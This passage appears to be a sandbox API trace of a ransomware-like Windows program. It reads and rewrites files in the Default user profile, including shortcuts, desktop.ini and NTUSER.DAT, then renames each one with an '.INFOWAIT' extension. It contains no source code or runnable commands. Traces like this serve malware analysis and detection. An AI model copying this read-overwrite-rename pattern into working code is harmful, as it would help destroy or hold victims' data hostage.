| out: lpString1="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url.INFOWAIT") returned="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url.INFOWAIT" [0147.054] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url.INFOWAIT" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url.infowait")) returned 1 [0147.055] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.056] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.056] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.056] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.057] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0147.057] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.057] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.057] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0147.058] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.059] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.059] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0147.059] CloseHandle (hObject=0xad0) returned 1 [0147.059] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" | out: lpString1="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url") returned="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" [0147.059] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url.INFOWAIT") returned="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url.INFOWAIT" [0147.059] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url.INFOWAIT" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url.infowait")) returned 1 [0147.059] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.060] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.060] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.060] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.061] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0147.061] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.061] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.061] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0147.062] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.062] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.062] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0147.063] CloseHandle (hObject=0xad0) returned 1 [0147.063] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" | out: lpString1="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url") returned="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" [0147.063] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url.INFOWAIT") returned="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url.INFOWAIT" [0147.063] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url.INFOWAIT" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url.infowait")) returned 1 [0147.063] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.064] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.064] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.064] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.064] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0147.064] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.065] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.065] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0147.066] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.066] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.066] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0147.066] CloseHandle (hObject=0xad0) returned 1 [0147.067] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" | out: lpString1="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url") returned="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" [0147.067] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url.INFOWAIT") returned="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url.INFOWAIT" [0147.067] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url.INFOWAIT" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url.infowait")) returned 1 [0147.067] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.068] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.068] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.068] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\desktop.ini" (normalized: "c:\\users\\default\\links\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.068] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x244 [0147.068] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.068] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.069] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x244, lpOverlapped=0x0) returned 1 [0147.070] VirtualAlloc (lpAddress=0x0, dwSize=0x244, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.070] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.070] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x244, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x244, lpOverlapped=0x0) returned 1 [0147.070] CloseHandle (hObject=0xad0) returned 1 [0147.071] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Links\\desktop.ini" | out: lpString1="C:\\Users\\Default\\Links\\desktop.ini") returned="C:\\Users\\Default\\Links\\desktop.ini" [0147.071] lstrcatW (in: lpString1="C:\\Users\\Default\\Links\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Links\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\Links\\desktop.ini.INFOWAIT" [0147.071] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Links\\desktop.ini" (normalized: "c:\\users\\default\\links\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Links\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\links\\desktop.ini.infowait")) returned 1 [0147.071] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.072] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.072] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.072] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\Desktop.lnk" (normalized: "c:\\users\\default\\links\\desktop.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.072] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1d3 [0147.072] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.073] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.073] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1d3, lpOverlapped=0x0) returned 1 [0147.074] VirtualAlloc (lpAddress=0x0, dwSize=0x1d3, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.074] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.074] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x1d3, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x1d3, lpOverlapped=0x0) returned 1 [0147.074] CloseHandle (hObject=0xad0) returned 1 [0147.074] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Links\\Desktop.lnk" | out: lpString1="C:\\Users\\Default\\Links\\Desktop.lnk") returned="C:\\Users\\Default\\Links\\Desktop.lnk" [0147.074] lstrcatW (in: lpString1="C:\\Users\\Default\\Links\\Desktop.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Links\\Desktop.lnk.INFOWAIT") returned="C:\\Users\\Default\\Links\\Desktop.lnk.INFOWAIT" [0147.074] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Links\\Desktop.lnk" (normalized: "c:\\users\\default\\links\\desktop.lnk"), lpNewFileName="C:\\Users\\Default\\Links\\Desktop.lnk.INFOWAIT" (normalized: "c:\\users\\default\\links\\desktop.lnk.infowait")) returned 1 [0147.075] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.076] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.076] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.076] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\Downloads.lnk" (normalized: "c:\\users\\default\\links\\downloads.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.076] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x37e [0147.076] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.076] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.076] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x37e, lpOverlapped=0x0) returned 1 [0147.163] VirtualAlloc (lpAddress=0x0, dwSize=0x37e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.163] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.163] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x37e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x37e, lpOverlapped=0x0) returned 1 [0147.163] CloseHandle (hObject=0xad0) returned 1 [0147.163] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Links\\Downloads.lnk" | out: lpString1="C:\\Users\\Default\\Links\\Downloads.lnk") returned="C:\\Users\\Default\\Links\\Downloads.lnk" [0147.164] lstrcatW (in: lpString1="C:\\Users\\Default\\Links\\Downloads.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Links\\Downloads.lnk.INFOWAIT") returned="C:\\Users\\Default\\Links\\Downloads.lnk.INFOWAIT" [0147.164] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Links\\Downloads.lnk" (normalized: "c:\\users\\default\\links\\downloads.lnk"), lpNewFileName="C:\\Users\\Default\\Links\\Downloads.lnk.INFOWAIT" (normalized: "c:\\users\\default\\links\\downloads.lnk.infowait")) returned 1 [0147.164] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.165] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.165] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.165] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\default\\links\\recentplaces.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.165] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x16b [0147.165] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.166] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.166] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x16b, lpOverlapped=0x0) returned 1 [0147.167] VirtualAlloc (lpAddress=0x0, dwSize=0x16b, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.167] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.167] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x16b, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x16b, lpOverlapped=0x0) returned 1 [0147.167] CloseHandle (hObject=0xad0) returned 1 [0147.167] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Links\\RecentPlaces.lnk" | out: lpString1="C:\\Users\\Default\\Links\\RecentPlaces.lnk") returned="C:\\Users\\Default\\Links\\RecentPlaces.lnk" [0147.167] lstrcatW (in: lpString1="C:\\Users\\Default\\Links\\RecentPlaces.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Links\\RecentPlaces.lnk.INFOWAIT") returned="C:\\Users\\Default\\Links\\RecentPlaces.lnk.INFOWAIT" [0147.167] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\default\\links\\recentplaces.lnk"), lpNewFileName="C:\\Users\\Default\\Links\\RecentPlaces.lnk.INFOWAIT" (normalized: "c:\\users\\default\\links\\recentplaces.lnk.infowait")) returned 1 [0147.168] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.169] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.169] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.169] CreateFileW (lpFileName="C:\\Users\\Default\\Music\\desktop.ini" (normalized: "c:\\users\\default\\music\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.169] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1f8 [0147.169] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.169] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.169] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1f8, lpOverlapped=0x0) returned 1 [0147.171] VirtualAlloc (lpAddress=0x0, dwSize=0x1f8, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.171] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.171] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x1f8, lpOverlapped=0x0) returned 1 [0147.171] CloseHandle (hObject=0xad0) returned 1 [0147.171] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Music\\desktop.ini" | out: lpString1="C:\\Users\\Default\\Music\\desktop.ini") returned="C:\\Users\\Default\\Music\\desktop.ini" [0147.171] lstrcatW (in: lpString1="C:\\Users\\Default\\Music\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Music\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\Music\\desktop.ini.INFOWAIT" [0147.171] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Music\\desktop.ini" (normalized: "c:\\users\\default\\music\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Music\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\music\\desktop.ini.infowait")) returned 1 [0147.172] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.173] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.173] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.173] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.173] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc0000 [0147.173] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.173] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.173] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0147.180] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0147.193] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.193] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0147.193] CloseHandle (hObject=0xad0) returned 1 [0147.194] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\NTUSER.DAT" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT") returned="C:\\Users\\Default\\NTUSER.DAT" [0147.194] lstrcatW (in: lpString1="C:\\Users\\Default\\NTUSER.DAT", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT.INFOWAIT") returned="C:\\Users\\Default\\NTUSER.DAT.INFOWAIT" [0147.194] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT.INFOWAIT" (normalized: "c:\\users\\default\\ntuser.dat.infowait")) returned 1 [0147.194] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.195] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.196] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.196] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG" (normalized: "c:\\users\\default\\ntuser.dat.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.197] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x400 [0147.197] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.197] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.197] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x400, lpOverlapped=0x0) returned 1 [0147.338] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.338] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.338] WriteFile (in: hFile=0xad0, 